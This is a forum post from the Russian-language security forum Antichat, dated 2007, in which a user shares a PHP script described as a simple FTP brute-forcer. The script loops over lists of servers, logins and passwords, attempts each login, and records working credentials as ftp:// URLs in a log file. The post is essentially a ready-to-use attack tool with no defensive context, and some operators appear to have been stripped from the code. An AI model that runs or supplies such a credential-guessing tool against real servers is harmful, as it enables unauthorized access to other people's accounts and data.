HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 30.04.2007, 10:51
mamamot
Познающий
Регистрация: 20.02.2007
Сообщений: 41
Провел на форуме:
38505

Репутация: 48
Отправить сообщение для mamamot с помощью ICQ
По умолчанию

Простой брутофорсер FTP

PHP код:
<?php
    
//первое-определяем файлы с которыми работаем:
    //Список серверов:
    
$fservers "servers.txt";
    
//Список логинов:
    
$flogins "logins.txt";
    
//Список паролей:
    
$fpasswords "passwords.txt";
    
//Лог-файл:
    
$flog "ftpbrut.log";
    
//Открываем файлы:
    
$servers file($fservers);
    
    
$logins file($flogins);

    
$passwords file($fpasswords);
    
    
$fd fopen($flog"w");
    
//Цикл перебирает сервера
    
foreach($servers as $server)
    {
        
$connect ftp_connect($server);
        echo 
$server."<br />";
        if(
$connect)
        {
            foreach(
$logins as $login)
            {
                foreach(
$passwords as $password)
                {
                    
$result ftp_login($connect$login$password);
                    if(
$result)
                    {
                        
$str "ftp://".$login.":".$password."@".substr($server,6);
                        
$log .= $str."\r\n";
                        echo 
$str."<br />";
                        break;
                    }
                }
                if(
$result)
                {
                    break;
                }
            }
            
ftp_quit($connect);
        }
    }
    
fwrite($fd$log);
    
fwrite($fd"done succesful");
    echo 
"done succesful";
?>
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ